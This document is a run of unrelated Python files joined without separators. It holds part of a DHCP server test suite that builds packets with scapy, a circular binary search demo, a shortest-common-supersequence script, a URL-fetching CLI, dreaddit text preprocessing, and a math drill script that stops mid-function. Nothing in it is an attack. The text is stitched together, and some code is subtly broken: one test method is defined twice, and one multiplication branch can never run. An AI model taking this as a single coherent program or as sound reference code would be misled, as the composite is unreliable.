    @test_tracker_info(uuid="68bfcb25-5873-41ad-ad0a-bf22781534ca")
    def test_request_rebinding(self):
        resp, addr = self._run_rebinding(bcastbit=False)
        self._assert_unicast(resp, addr)
        self._assert_broadcastbit(resp, isset=False)

    @test_tracker_info(uuid="4c591536-8062-40ec-ae12-1ebe7dcad8e2")
    def test_request_rebinding_relayed(self):
        giaddr = NETADDR_PREFIX + '123'
        resp, _ = self._run_rebinding(bcastbit=False, giaddr=giaddr)
        self._assert_relayed(resp, giaddr)
        self._assert_broadcastbit(resp, isset=False)

    @test_tracker_info(uuid="cee2668b-bd79-47d7-b358-8f9387d715b1")
    def test_request_rebinding_inuse(self):
        addr, siaddr, _ = self._request_address(self.hwaddr)

        resp = self._get_response(self._make_request(
                self.other_hwaddr, reqaddr=None, siaddr=None, ciaddr=addr))
        self._assert_nak(resp)
        self._assert_broadcast(resp)

    @test_tracker_info(uuid="d95d69b5-ab9a-42f5-8dd0-b9b6a6d960cc")
    def test_request_rebinding_wrongaddr(self):
        otheraddr = NETADDR_PREFIX + '123'
        addr, siaddr, _ = self._request_address(self.hwaddr)
        asserts.assert_false(addr == otheraddr,
            "Test assumption not met: server assigned " + otheraddr)

        resp = self._get_response(self._make_request(
            self.hwaddr, reqaddr=None, siaddr=siaddr, ciaddr=otheraddr))
        self._assert_nak(resp)
        self._assert_broadcast(resp)

    @test_tracker_info(uuid="421a86b3-8779-4910-8050-7806536efabb")
    def test_request_rebinding_wrongaddr_relayed(self):
        otheraddr = NETADDR_PREFIX + '123'
        relayaddr = NETADDR_PREFIX + '124'
        addr, siaddr, _ = self._request_address(self.hwaddr)
        asserts.assert_false(addr == otheraddr,
            "Test assumption not met: server assigned " + otheraddr)
        asserts.assert_false(addr == relayaddr,
            "Test assumption not met: server assigned " + relayaddr)

        req = self._make_request(self.hwaddr, reqaddr=None, siaddr=None,
            ciaddr=otheraddr, giaddr=relayaddr)

        resp = self._get_response(req)
        self._assert_nak(resp)
        self._assert_relayed(resp, relayaddr)
        self._assert_broadcastbit(resp)

    @test_tracker_info(uuid="6ff1fab4-009a-4758-9153-0d9db63423da")
    def test_release(self):
        addr, siaddr, _ = self._request_address(self.hwaddr)
        # Re-requesting fails
        resp = self._get_response(
            self._make_request(self.other_hwaddr, addr, siaddr))
        self._assert_nak(resp)
        self._assert_broadcast(resp)

        # Succeeds after release
        self._send(self._make_release(self.hwaddr, addr, siaddr))
        resp = self._get_response(
            self._make_request(self.other_hwaddr, addr, siaddr))
        self._assert_ack(resp)

    @test_tracker_info(uuid="abb1a53e-6b6c-468f-88b9-ace9ca4d6593")
    def test_release_noserverid(self):
        addr, siaddr, _ = self._request_address(self.hwaddr)

        # Release without server_id opt is ignored
        release = self._make_release(self.hwaddr, addr, siaddr)
        removeopt(release, 'server_id')
        self._send(release)

        # Not released: request fails
        resp = self._get_response(
            self._make_request(self.other_hwaddr, addr, siaddr))
        self._assert_nak(resp)
        self._assert_broadcast(resp)

    @test_tracker_info(uuid="8415b69e-ae61-4474-8495-d783ba6818d1")
    def test_release_wrongserverid(self):
        addr, siaddr, _ = self._request_address(self.hwaddr)

        # Release with wrong server id
        release = self._make_release(self.hwaddr, addr, siaddr)
        setopt(release, 'server_id', addr)
        self._send(release)

        # Not released: request fails
        resp = self._get_response(
            self._make_request(self.other_hwaddr, addr, siaddr))
        self._assert_nak(resp)
        self._assert_broadcast(resp)

    @test_tracker_info(uuid="0858f678-3db2-4c12-a21b-6e16c5d7e7ce")
    def test_unicast_l2l3(self):
        reqAddr = NETADDR_PREFIX + '124'
        resp = self._get_response(self._make_request(
            self.hwaddr, reqAddr, siaddr=None))
        self._assert_unicast(resp)
        str_hwaddr = format_hwaddr(self.hwaddr)
        asserts.assert_equal(str_hwaddr, resp.getlayer(Ether).dst)
        asserts.assert_equal(reqAddr, resp.getlayer(IP).dst)
        asserts.assert_equal(CLIENT_PORT, resp.getlayer(UDP).dport)

    @test_tracker_info(uuid="bf05efe9-ee5b-46ba-9b3c-5a4441c13798")
    def test_macos_10_13_3_discover(self):
        params_opt = make_paramrequestlist_opt([
            'subnet_mask',
            121, # Classless Static Route
            'router',
            'name_server',
            'domain',
            119, # Domain Search
            252, # Private/Proxy autodiscovery
            95, # LDAP
            'NetBIOS_server',
            46, # NetBIOS over TCP/IP Node Type
            ])
        req = self._make_discover(self.hwaddr,
            options=[
                params_opt,
                ('max_dhcp_size', 1500),
                # HW type Ethernet (0x01)
                ('client_id', b'\x01' + self.hwaddr),
                ('lease_time', 7776000),
                ('hostname', b'test12-macbookpro'),
            ], opts_padding=bytes(6))
        req.getlayer(BOOTP).secs = 2
        resp = self._get_response(req)
        self._assert_standard_offer(resp)

    def _make_macos_10_13_3_paramrequestlist(self):
        return make_paramrequestlist_opt([
            'subnet_mask',
            121, # Classless Static Route
            'router',
            'name_server',
            'domain',
            119, # Domain Search
            252, # Private/Proxy autodiscovery
            95, # LDAP
            44, # NetBIOS over TCP/IP Name Server
            46, # NetBIOS over TCP/IP Node Type
            ])

    @test_tracker_info(uuid="bf05efe9-ee5b-46ba-9b3c-5a4441c13798")
    def test_macos_10_13_3_discover(self):
        req = self._make_discover(self.hwaddr,
            options=[
                self._make_macos_10_13_3_paramrequestlist(),
                ('max_dhcp_size', 1500),
                # HW type Ethernet (0x01)
                ('client_id', b'\x01' + self.hwaddr),
                ('lease_time', 7776000),
                ('hostname', b'test12-macbookpro'),
            ], opts_padding=bytes(6))
        req.getlayer(BOOTP).secs = 2
        resp = self._get_response(req)
        self._assert_offer(resp)
        self._assert_standard_offer_or_ack(resp)

    @test_tracker_info(uuid="7acc796b-c4f1-46cc-8ffb-0a0efb05ae86")
    def test_macos_10_13_3_request_selecting(self):
        req = self._make_request(self.hwaddr, None, None,
            options=[
                self._make_macos_10_13_3_paramrequestlist(),
                ('max_dhcp_size', 1500),
                # HW type Ethernet (0x01)
                ('client_id', b'\x01' + self.hwaddr),
                ('requested_addr', NETADDR_PREFIX + '109'),
                ('server_id', self.server_addr),
                ('hostname', b'test12-macbookpro'),
            ])
        req.getlayer(BOOTP).secs = 5
        resp = self._get_response(req)
        self._assert_ack(resp)
        self._assert_standard_offer_or_ack(resp)

    # Note: macOS does not seem to do any rebinding (straight to discover)
    @test_tracker_info(uuid="e8f0b60c-9ea3-4184-8426-151a395bff5b")
    def test_macos_10_13_3_request_renewing(self):
        req_ip = NETADDR_PREFIX + '109'
        req = self._make_request(self.hwaddr, None, None,
            ciaddr=req_ip, ip_src=req_ip, ip_dst=self.server_addr, options=[
                self._make_macos_10_13_3_paramrequestlist(),
                ('max_dhcp_size', 1500),
                # HW type Ethernet (0x01)
                ('client_id', b'\x01' + self.hwaddr),
                ('lease_time', 7776000),
                ('hostname', b'test12-macbookpro'),
            ], opts_padding=bytes(6))
        resp = self._get_response(req)
        self._assert_ack(resp)
        self._assert_standard_offer_or_ack(resp, renewing=True)

    def _make_win10_paramrequestlist(self):
        return make_paramrequestlist_opt([
            'subnet_mask',
            'router',
            'name_server',
            'domain',
            31, # Perform Router Discover
            33, # Static Route
            'vendor_specific',
            44, # NetBIOS over TCP/IP Name Server
            46, # NetBIOS over TCP/IP Node Type
            47, # NetBIOS over TCP/IP Scope
            121, # Classless Static Route
            249, # Private/Classless Static Route (MS)
            252, # Private/Proxy autodiscovery
            ])

    @test_tracker_info(uuid="11b3db9c-4cd7-4088-99dc-881f25ce4e76")
    def test_win10_discover(self):
        req = self._make_discover(self.hwaddr, bcastbit=True,
            options=[
                # HW type Ethernet (0x01)
                ('client_id', b'\x01' + self.hwaddr),
                ('hostname', b'test120-w'),
                ('vendor_class_id', b'MSFT 5.0'),
                self._make_win10_paramrequestlist(),
            ], opts_padding=bytes(11))
        req.getlayer(BOOTP).secs = 2
        resp = self._get_response(req)
        self._assert_offer(resp)
        self._assert_standard_offer_or_ack(resp, bcast=True)

    @test_tracker_info(uuid="4fe04e7f-c643-4a19-b15c-cf417b2c9410")
    def test_win10_request_selecting(self):
        req = self._make_request(self.hwaddr, None, None, bcastbit=True,
            options=[
                ('max_dhcp_size', 1500),
                # HW type Ethernet (0x01)
                ('client_id', b'\x01' + self.hwaddr),
                ('requested_addr', NETADDR_PREFIX + '109'),
                ('server_id', self.server_addr),
                ('hostname', b'test120-w'),
                # Client Fully Qualified Domain Name
                (81, b'\x00\x00\x00test120-w.ad.tst.example.com'),
                ('vendor_class_id', b'MSFT 5.0'),
                self._make_win10_paramrequestlist(),
            ])
        resp = self._get_response(req)
        self._assert_ack(resp)
        self._assert_standard_offer_or_ack(resp, bcast=True)

    def _run_win10_request_renewing(self, bcast):
        req_ip = NETADDR_PREFIX + '109'
        req = self._make_request(self.hwaddr, None, None, bcastbit=bcast,
            ciaddr=req_ip, ip_src=req_ip,
            ip_dst=NETADDR_BROADCAST if bcast else self.server_addr,
            options=[
                ('max_dhcp_size', 1500),
                # HW type Ethernet (0x01)
                ('client_id', b'\x01' + self.hwaddr),
                ('hostname', b'test120-w'),
                # Client Fully Qualified Domain Name
                (81, b'\x00\x00\x00test120-w.ad.tst.example.com'),
                ('vendor_class_id', b'MSFT 5.0'),
                self._make_win10_paramrequestlist(),
            ])
        resp = self._get_response(req)
        self._assert_ack(resp)
        self._assert_standard_offer_or_ack(resp, renewing=True, bcast=bcast)

    @test_tracker_info(uuid="1b23c9c7-cc94-42d0-83a6-f1b2bc125fb9")
    def test_win10_request_renewing(self):
        self._run_win10_request_renewing(bcast=False)

    @test_tracker_info(uuid="c846bd14-71fb-4492-a4d3-0aa5c2c35751")
    def test_win10_request_rebinding(self):
        self._run_win10_request_renewing(bcast=True)

    def _make_debian_paramrequestlist(self):
        return make_paramrequestlist_opt([
            'subnet_mask',
            'broadcast_address',
            'router',
            'name_server',
            119, # Domain Search
            'hostname',
            101, # TCode
            'domain', # NetBIOS over TCP/IP Name Server
            'vendor_specific', # NetBIOS over TCP/IP Node Type
            121, # Classless Static Route
            249, # Private/Classless Static Route (MS)
            33, # Static Route
            252, # Private/Proxy autodiscovery
            'NTP_server',
            ])

    @test_tracker_info(uuid="b0bb6ae7-07e6-4ecb-9a2f-db9c8146a3d5")
    def test_debian_dhclient_4_3_5_discover(self):
        req_ip = NETADDR_PREFIX + '109'
        req = self._make_discover(self.hwaddr,
            options=[
                ('requested_addr', req_ip),
                ('hostname', b'test12'),
                self._make_debian_paramrequestlist(),
            ], opts_padding=bytes(26))
        resp = self._get_response(req)
        self._assert_offer(resp)
        # Don't test for hostname option: previous implementation would not
        # set it in offer, which was not consistent with ack
        self._assert_standard_offer_or_ack(resp, ignore_hostname=True)
        asserts.assert_equal(req_ip, get_yiaddr(resp))

    @test_tracker_info(uuid="d70bc043-84cb-4735-9123-c46c6d1ce5ac")
    def test_debian_dhclient_4_3_5_request_selecting(self):
        req = self._make_request(self.hwaddr, None, None,
            options=[
                ('server_id', self.server_addr),
                ('requested_addr', NETADDR_PREFIX + '109'),
                ('hostname', b'test12'),
                self._make_debian_paramrequestlist(),
            ], opts_padding=bytes(20))
        resp = self._get_response(req)
        self._assert_ack(resp)
        self._assert_standard_offer_or_ack(resp, with_hostname=True)

    def _run_debian_renewing(self, bcast):
        req_ip = NETADDR_PREFIX + '109'
        req = self._make_request(self.hwaddr, None, None,
            ciaddr=req_ip, ip_src=req_ip,
            ip_dst=NETADDR_BROADCAST if bcast else self.server_addr,
            options=[
                ('hostname', b'test12'),
                self._make_debian_paramrequestlist(),
            ],
            opts_padding=bytes(32))
        resp = self._get_response(req)
        self._assert_ack(resp)
        self._assert_standard_offer_or_ack(resp, renewing=True,
            with_hostname=True)

    @test_tracker_info(uuid="5e1e817d-9972-46ca-8d44-1e120bf1bafc")
    def test_debian_dhclient_4_3_5_request_renewing(self):
        self._run_debian_renewing(bcast=False)

    @test_tracker_info(uuid="b179a36d-910e-4006-a79a-11cc561b69db")
    def test_debian_dhclient_4_3_5_request_rebinding(self):
        self._run_debian_renewing(bcast=True)

    def _assert_standard_offer_or_ack(self, resp, renewing=False, bcast=False,
            ignore_hostname=False, with_hostname=False):
        # Responses to renew/rebind are always unicast to ciaddr even with
        # broadcast flag set (RFC does not define this behavior, but this is
        # more efficient and matches previous behavior)
        if bcast and not renewing:
            self._assert_broadcast(resp)
            self._assert_broadcastbit(resp, isset=True)
        else:
            # Previous implementation would set the broadcast flag but send a
            # unicast reply if (bcast and renewing). This was not consistent and
            # new implementation consistently clears the flag. Not testing for
            # broadcast flag value to maintain compatibility.
            self._assert_unicast(resp)

        bootp_resp = resp.getlayer(BOOTP)
        asserts.assert_equal(0, bootp_resp.hops)
        if renewing:
            asserts.assert_true(bootp_resp.ciaddr.startswith(NETADDR_PREFIX),
                'ciaddr does not start with expected prefix')
        else:
            asserts.assert_equal(INET4_ANY, bootp_resp.ciaddr)
        asserts.assert_true(bootp_resp.yiaddr.startswith(NETADDR_PREFIX),
            'yiaddr does not start with expected prefix')
        asserts.assert_true(bootp_resp.siaddr.startswith(NETADDR_PREFIX),
            'siaddr does not start with expected prefix')
        asserts.assert_equal(INET4_ANY, bootp_resp.giaddr)

        opt_labels = get_opt_labels(bootp_resp)
        # FQDN option 81 is not supported in new behavior
        opt_labels = [opt for opt in opt_labels if opt != 81]

        # Expect exactly these options in this order
        expected_opts = [
            'message-type', 'server_id', 'lease_time', 'renewal_time',
            'rebinding_time', 'subnet_mask', 'broadcast_address', 'router',
            'name_server']
        if ignore_hostname:
            opt_labels = [opt for opt in opt_labels if opt != 'hostname']
        elif with_hostname:
            expected_opts.append('hostname')
        expected_opts.extend(['vendor_specific', 'end'])
        asserts.assert_equal(expected_opts, opt_labels)

    def _request_address(self, hwaddr, bcast=True):
        resp = self._get_response(self._make_discover(hwaddr))
        self._assert_offer(resp)
        addr = get_yiaddr(resp)
        siaddr = getopt(resp, 'server_id')
        resp = self._get_response(self._make_request(hwaddr, addr, siaddr,
                ip_dst=(INET4_ANY if bcast else siaddr)))
        self._assert_ack(resp)
        return addr, siaddr, resp

    def _get_response(self, packet):
        resp = srp1(packet, iface=self.iface, timeout=10, verbose=False)
        bootp_resp = (resp or None) and resp.getlayer(BOOTP)
        if bootp_resp != None and get_mess_type(bootp_resp) == ACK:
            # Note down corresponding release for this request
            release = self._make_release(bootp_resp.chaddr, bootp_resp.yiaddr,
                getopt(bootp_resp, 'server_id'))
            self.cleanup_releases.append(release)
        return resp

    def _send(self, packet):
        sendp(packet, iface=self.iface, verbose=False)

    def _assert_type(self, packet, tp):
        asserts.assert_false(None == packet, "No packet")
        asserts.assert_equal(tp, get_mess_type(packet))

    def _assert_ack(self, packet):
        self._assert_type(packet, ACK)

    def _assert_nak(self, packet):
        self._assert_type(packet, NAK)

    def _assert_offer(self, packet):
        self._assert_type(packet, OFFER)

    def _assert_broadcast(self, packet):
        asserts.assert_false(None == packet, "No packet")
        asserts.assert_equal(packet.getlayer(Ether).dst, BROADCAST_MAC)
        asserts.assert_equal(packet.getlayer(IP).dst, NETADDR_BROADCAST)
        self._assert_broadcastbit(packet)

    def _assert_broadcastbit(self, packet, isset=True):
        mask = 0x8000
        flag = packet.getlayer(BOOTP).flags
        asserts.assert_equal(flag & mask, mask if isset else 0)

    def _assert_unicast(self, packet, ipAddr=None):
        asserts.assert_false(None == packet, "No packet")
        asserts.assert_false(packet.getlayer(Ether).dst == BROADCAST_MAC,
            "Layer 2 packet destination address was broadcast")
        if ipAddr:
            asserts.assert_equal(packet.getlayer(IP).dst, ipAddr)

    def _assert_relayed(self, packet, giaddr):
        self._assert_unicast(packet, giaddr)
        asserts.assert_equal(giaddr, packet.getlayer(BOOTP).giaddr,
            'Relayed response has invalid giaddr field')

    def _next_hwaddr(self):
        addr = make_hwaddr(self.next_hwaddr_index)
        self.next_hwaddr_index = self.next_hwaddr_index + 1
        return addr

    def _make_dhcp(self, src_hwaddr, options, ciaddr=INET4_ANY,
            ip_src=INET4_ANY, ip_dst=NETADDR_BROADCAST, giaddr=INET4_ANY,
            bcastbit=False):
        broadcast = (ip_dst == NETADDR_BROADCAST)
        ethernet = Ether(dst=(BROADCAST_MAC if broadcast else self.dut_hwaddr))
        ip = IP(src=ip_src, dst=ip_dst)
        udp = UDP(sport=68, dport=SERVER_PORT)
        bootp = BOOTP(chaddr=src_hwaddr, ciaddr=ciaddr, giaddr=giaddr,
            flags=(0x8000 if bcastbit else 0), xid=random.randrange(0, 2**32))
        dhcp = DHCP(options=options)
        return ethernet / ip / udp / bootp / dhcp

    def _make_discover(self, src_hwaddr, options = [], giaddr=INET4_ANY,
            bcastbit=False, opts_padding=None, ip_src=INET4_ANY):
        opts = [('message-type','discover')]
        opts.extend(options)
        opts.append('end')
        if (opts_padding):
            opts.append(opts_padding)
        return self._make_dhcp(src_hwaddr, options=opts, giaddr=giaddr,
            ip_dst=NETADDR_BROADCAST, bcastbit=bcastbit, ip_src=ip_src)

    def _make_request(self, src_hwaddr, reqaddr, siaddr, ciaddr=INET4_ANY,
            ip_dst=None, ip_src=None, giaddr=INET4_ANY, bcastbit=False,
            options=[], opts_padding=None):
        if not ip_dst:
            ip_dst = siaddr or INET4_ANY

        if not ip_src and ip_dst == INET4_ANY:
            ip_src = INET4_ANY
        elif not ip_src:
            ip_src = (giaddr if not isempty(giaddr)
                else ciaddr if not isempty(ciaddr)
                else reqaddr)
        # Kernel will not receive unicast UDP packets with empty ip_src
        asserts.assert_false(ip_dst != INET4_ANY and isempty(ip_src),
            "Unicast ip_src cannot be zero")
        opts = [('message-type', 'request')]
        if options:
            opts.extend(options)
        else:
            if siaddr:
                opts.append(('server_id', siaddr))
            if reqaddr:
                opts.append(('requested_addr', reqaddr))
        opts.append('end')
        if opts_padding:
            opts.append(opts_padding)
        return self._make_dhcp(src_hwaddr, options=opts, ciaddr=ciaddr,
            ip_src=ip_src, ip_dst=ip_dst, giaddr=giaddr, bcastbit=bcastbit)

    def _make_release(self, src_hwaddr, addr, server_id):
        opts = [('message-type', 'release'), ('server_id', server_id), 'end']
        return self._make_dhcp(src_hwaddr, opts, ciaddr=addr, ip_src=addr,
            ip_dst=server_id)

def assert_bootp_response(resp, req):
    bootp = resp.getlayer(BOOTP)
    asserts.assert_equal(2, bootp.op, 'Invalid BOOTP op')
    asserts.assert_equal(1, bootp.htype, 'Invalid BOOTP htype')
    asserts.assert_equal(6, bootp.hlen, 'Invalid BOOTP hlen')
    asserts.assert_equal(0, bootp.hops, 'Invalid BOOTP hops')
    asserts.assert_equal(req.getlayer(BOOTP).xid, bootp.xid, 'Invalid XID')
    return bootp

def make_paramrequestlist_opt(params):
    param_indexes = [DHCPRevOptions[opt][0] if isinstance(opt, str) else opt
        for opt in params]
    return tuple(['param_req_list'] + [
        opt.to_bytes(1, byteorder='big') if isinstance(opt, int) else opt
        for opt in param_indexes])

def isempty(addr):
    return not addr or addr == INET4_ANY

def setopt(packet, optname, val):
    dhcp = packet.getlayer(DHCP)
    if optname in get_opt_labels(dhcp):
        dhcp.options = [(optname, val) if opt[0] == optname else opt
            for opt in dhcp.options]
    else:
        # Add before the last option (last option is "end")
        dhcp.options.insert(len(dhcp.options) - 1, (optname, val))

def getopt(packet, key):
    opts = [opt[1] for opt in packet.getlayer(DHCP).options if opt[0] == key]
    return opts[0] if opts else None

def removeopt(packet, key):
    dhcp = packet.getlayer(DHCP)
    dhcp.options = [opt for opt in dhcp.options if opt[0] != key]

def get_opt_labels(packet):
    dhcp_resp = packet.getlayer(DHCP)
    # end option is a single string, not a tuple.
    return [opt if isinstance(opt, str) else opt[0]
        for opt in dhcp_resp.options if opt != 'pad']

def get_yiaddr(packet):
    return packet.getlayer(BOOTP).yiaddr

def get_chaddr(packet):
    # We use Ethernet addresses. Ignore address padding
    return packet.getlayer(BOOTP).chaddr[:6]

def get_mess_type(packet):
    return getopt(packet, 'message-type')

def make_hwaddr(index):
    if index > 0xffff:
        raise ValueError("Address index out of range")
    return b'\x44\x85\x00\x00' + bytes([index >> 8, index & 0xff])

def format_hwaddr(addr):
    return  ':'.join(['%02x' % c for c in addr])


# file:    circ_bs.py
# author:  Colin Woodbury
# contact: colingw@gmail.com
# about:   A python script demonstrating circular bin search.

"""
 **************************
 * Circular Binary Search *
 **************************

 This is a binary search algorithm that works on a list
 of data that is sorted, but not linearly. That is,
 one end of the data, for whatever reason, has been
 cut off and appended to the other side.
 Example:
    [1, 2, 3, 4, 5, 6, 7, 8] becomes
    [6, 7, 8, 1, 2, 3, 4, 5]

 We refer then to the connection of 8 and 1 in the list
 above as "the link". The position of the link
 relative to the "mid" becomes important in the search.

 *********
 * Logic *
 *********

 At first we proceed through the logic mostly as normal,
 except that instead of testing for general "less than/
 greater than" the mid point, we must test for specific
 inclusion in the sets as follows:
   lower <= value < mid
   mid < value <= upper
 If these fail, we must move to a logic step unique to
 circular bin search. (Marker 1)

 Here, we must determine where the "link" is
 relative to the mid point.
 This is not difficult. (Marker 2)
 If the lower value is greater than the mid
 value, (in a normally sorted list this would
 never happen) then we know the link to be to
 the left of mid. Otherwise, it's on the right.
 Fortunately, the target value will *always*
 be on the same side of mid as the "link".

 *********
 * Notes *
 *********

 1. This circular binary search also
 works as a normal binary search. A perfectly
 sorted list would simply never activate the
 extended logic, and things would proceed
 as normal.
 2. Q: 'Why not just sort the list and then search?'
    A: This isn't always possible. Take for instance searching a 50 gig
       log file for entries: sorting that isn't an option.
"""

from time import time

def circ_bs(list, target):
    '''Finds a value in a given list using a
    circular binary search.
    Returns -1 if the value was not found.
    '''
    size = len(list)
    lower = 0
    upper = size - 1
    pos = -1  # The return value. Assume failure.
    found = False
    if size == 0:
        # Nice try.
        found = True
    while not found and lower <= upper:
        mid = (upper + lower) // 2
        if list[mid] == target:
            pos = mid
            found = True
        elif target >= list[lower] and target < list[mid]:
            upper = mid - 1
        elif target > list[mid] and target <= list[upper]:
            lower = mid + 1
        else:  # MARKER 1
            # Standard binary search logic has failed.
            if list[lower] > list[mid]:  # MARKER 2
                upper = mid - 1
            else:
                lower = mid + 1
    return pos

def print_list(list, name):
    '''Print a given list in an easy-to-read fashion.'''
    print(name)
    print(list[0:10])
    print('... stuff in between ...')
    print(list[-10:])

def manage_search(list):
    '''Runs and times circulary bin search on a given list.'''
    start = time()
    print("Beginning search for all values in the list...")
    for each in list:
        pos = circ_bs(list, each)
        if pos == -1:
            print("{0} NOT FOUND!".format(each))
            break
    end = time()
    print("Done!")
    print("Found {0} values in {1} secs.".format(len(list), end - start))
    print()

if __name__ == '__main__':
    # Set up and search the normal list.
    list = [x for x in range(0, 1000)]
    print_list(list, "Normal list:")
    manage_search(list)

    # Split the list and re-search.
    list = list[-200:] + list[0:800]
    print_list(list, "Circular list:")
    manage_search(list)

    print("Test for len 1 list...")
    print(circ_bs([1], 1))

    print("Test for len 0 list...")
    print(circ_bs([], 1))

    print("Test for values that aren't in the list...")
    nots = [x for x in range(-1, -10, -1)]
    for each in nots:
        print("{0} -> {1}".format(each, circ_bs(list, each)))


text1="brute"
text2='grte'
dp=[[0]*(len(text2)+1) for x in range(len(text1)+1)]
l1=len(text1)
l2=len(text2)
for i in range(1,l1+1):
    for j in range(1,l2+1):
        if(text1[i-1]==text2[j-1]):
            dp[i][j]=1+dp[i-1][j-1]
        else:
            dp[i][j]=max(dp[i-1][j],dp[i][j-1])
print(l1+l2-dp[-1][-1])#length of supersequnece
#print supersequnce
print(dp)
i=l1
j=l2
ans=''
while(i>0 and j>0):
    if(text1[i-1]==text2[j-1]):
        ans+=text1[i-1]
        i-=1
        j-=1
    elif(dp[i-1][j]>dp[i][j-1]):
        ans+=text1[i-1]
        i-=1
    else:
        ans+=text2[j-1]
        j-=1
    print(i,j)
print(ans[::-1])
while(i>0):
    ans+=text1[i-1]
    i-=1
while(j>0):
    ans+=text2[j-1]
    j-=1
print(ans[::-1])


import asyncio
import logging

import click

from fetcher import HttpError, fetch
from fetcher.__about__ import __version__

@click.command(context_settings={"help_option_names": ["-h", "--help"]})
@click.argument("url")
@click.option("-v", "--verbose", is_flag=True)
@click.version_option(version=__version__)
def fetcher(url: str, verbose: bool) -> None:  # noqa: FBT001
    _configure_logging()
    if verbose:
        logging.basicConfig(level=logging.INFO)
    else:
        logging.basicConfig(level=logging.WARNING)

    try:
        response = asyncio.run(fetch(url))
    except HttpError as exp:
        raise click.ClickException(str(exp)) from exp

    click.echo(response.body)

    if not response.ok:
        msg = f"Server returned status '{response.status} {response.status_text}'"
        raise click.ClickException(msg)

def _configure_logging():
    handler = logging.StreamHandler()
    handler.setFormatter(logging.Formatter("%(message)s"))
    logger = logging.getLogger("fetch")
    logger.addHandler(handler)
    logger.propagate = False


from nltk import WordNetLemmatizer, PorterStemmer, RegexpTokenizer
from nltk.corpus import stopwords

import warnings
import numpy as np
import pandas as pd
import seaborn as sns
import neattext
import re
import spacy
nlp = spacy.load("en_core_web_sm", disable=['parser', 'ner'])

sns.set()
warnings.filterwarnings('ignore')

# path = '/content/Insight_Stress_Analysis/data/'
path = '../data/'
train = pd.read_csv(path + 'dreaddit-train.csv', encoding = "ISO-8859-1")
test = pd.read_csv(path + 'dreaddit-test.csv', encoding = "ISO-8859-1")

def removeWordsWithNumbers(text):
    return re.sub(r'\S*\d\S*', '', text).strip()

def clean_data(content):
    content = str(content)
    content = removeWordsWithNumbers(content)
    docx = neattext.TextFrame(text=content)
    docx.remove_emojis()
    docx.remove_html_tags()
    docx.remove_puncts()
    docx.remove_urls()
    docx.remove_stopwords(lang='en')
    docx.remove_special_characters()
    docx.fix_contractions()
    docx.remove_numbers()
    content = nlp(content.strip())
    return " ".join([token.lemma_ for token in content])

### Tokenization & Remove punctuations

train['processed_text'] = train['text'].apply(lambda x: clean_data(x.lower()))
test['processed_text'] = test['text'].apply(lambda x: clean_data(x.lower()))

train.to_csv(path + 'dreaddit-train-processed.csv', encoding = "ISO-8859-1")
test.to_csv(path + 'dreaddit-test-processed.csv', encoding = "ISO-8859-1")


#!/usr/bin/python

import argparse
import colorama
from colorama import Fore, Back, Style
import emoji
import os
import random
import yaml

colorama.init(autoreset=True)
bgcolors = [Back.RED, Back.GREEN, Back.YELLOW, Back.BLUE, Back.MAGENTA, Back.CYAN]
emojis = [':thumbs_up:', ':v:', ':revolving_hearts:', ':sparkling_heart:', ':laughing:',
          ':blush:', ':grinning:', ':stuck_out_tongue:', ':stuck_out_tongue_closed_eyes:',
          ':star2:', ':smile_cat:', ':heart_eyes_cat:', ':monkey_face:', ':hibiscus:',
          ':tulip:', ':balloon:', ':white_check_mark:', ':heart_decoration:',
          ':ice_cream:', ':icecream:', ':birthday:', ':ribbon:', ':gift:', ':rabbit:',
          ':baby_chick:', ':panda_face:', ':bear:', ':dog:', ':joy_cat:']

def get_options():
    parser = argparse.ArgumentParser()
    parser.add_argument('--config', help='a configuration file in YAML format')
    args = parser.parse_args()

    options = {'name': '',
               'count': 20,
               'operands': range(2, 10),
               'addition_range': range(101,1000),
               'operations': ['mul', 'div'],
               'bigmulmaxop1': 999,
               'bigmulmaxop2': 9}

    if args.config:
        with open(args.config, 'r') as ymlfile:
            cfg = yaml.safe_load(ymlfile)

        if 'name' in cfg:
            options['name'] = cfg['name']
        if 'count' in cfg:
            options['count'] = int(cfg['count'])
        if 'operands' in cfg:
            options['operands'] = cfg['operands']
        if 'bigmulmaxop1' in cfg:
            options['bigmulmaxop1'] = int(cfg['bigmulmaxop1'])
        if 'bigmulmaxop2' in cfg:
            options['bigmulmaxop2'] = int(cfg['bigmulmaxop2'])
        if 'operations' in cfg:
            options['operations'] = cfg['operations']

    return options

def addition(addition_range):
    operands = [random.choice(addition_range), random.choice(addition_range)]
    answer = operands[0] + operands[1]
    problem = '%s\n+ %s\n  ___\n' % (str(operands[0]).rjust(5), str(operands[1]).rjust(3))
    get_and_check_solution(problem, answer)

def subtraction(addition_range):
    bigger = random.choice(addition_range)
    smaller = random.choice(range(1, bigger))
    answer = bigger - smaller
    problem = '%s\n- %s\n  ___' % (str(bigger).rjust(5), str(smaller).rjust(3))
    get_and_check_solution(problem, answer)

def multiplication(operands1, operands2):
    operands = [random.choice(operands1), random.choice(operands1)]
    product = operands[0] * operands[1]
    first = random.choice([0,1])
    second = 0 if first == 1 else 1

    variable = random.choice([0,4])
    if variable == 0:
        answer = operands[first]
        problem = '? X %d = %d' % (operands[second], product)
    elif variable == 1:
        answer = operands[second]
        problem = '%d X ? = %d' % (operands[first], product)
    else:
        answer = product
        problem = '%d X %d = ?' % (operands[first], operands[second])

    get_and_check_solution(problem, answer)

def big_multiplication(operands1, operands2):
    operands = [random.choice(operands1), random.choice(operands2)]
    answer = operands[0] * operands[1]
    problem = '%s\nX %s\n  ___' % (str(operands[0]).rjust(5), str(operands[1]).rjust(3))
    get_and_check_solution(problem, answer)

def zeroes_multiplication(operands):
    operands = [random.choice(operands), random.choice(range(1, 11))]
    operands[0] = operands[0] * (10 ** random.choice(range(0, 3)))
    operands[1] = operands[1] * (10 ** random.choice(range(0, 3)))
    answer = operands[0] * operands[1]
    problem = '%d X %d = ?' % (operands[0], operands[1])
    get_and_check_solution(problem, answer)

def division(operands):
    operands = [random.choice(operands), random.choice(range(1, 11))]
    product = operands[0] * operands[1]
    first = random.choice([0,1])
    second = 0 if first == 1 else 1

    answer = operands[second]
    problem = '%d : %d = ?\t' % (product, operands[first])
    get_and_check_solution(problem, answer)

def division_remainder(operands):
    operands = [random.choice(operands), random.choice(range(1, 11))]
    product = operands[0] * operands[1]
    first = random.choice([0,1])
    second = 0 if first == 1 else 1
    remainder = random.choice(range(0, operands[first]))
    product += remainder
    problem = '%d : %d = %d\tRemainder: ?' % (product, operands[first], operands[second])
    get_and_check_solution(problem, remainder)

def fraction_string(whole_number, numerator, denominator):
    filled = u'\u25AE'
    unfilled = u'\u25AF'

    s = ""
    for i in range(0, whole_number):
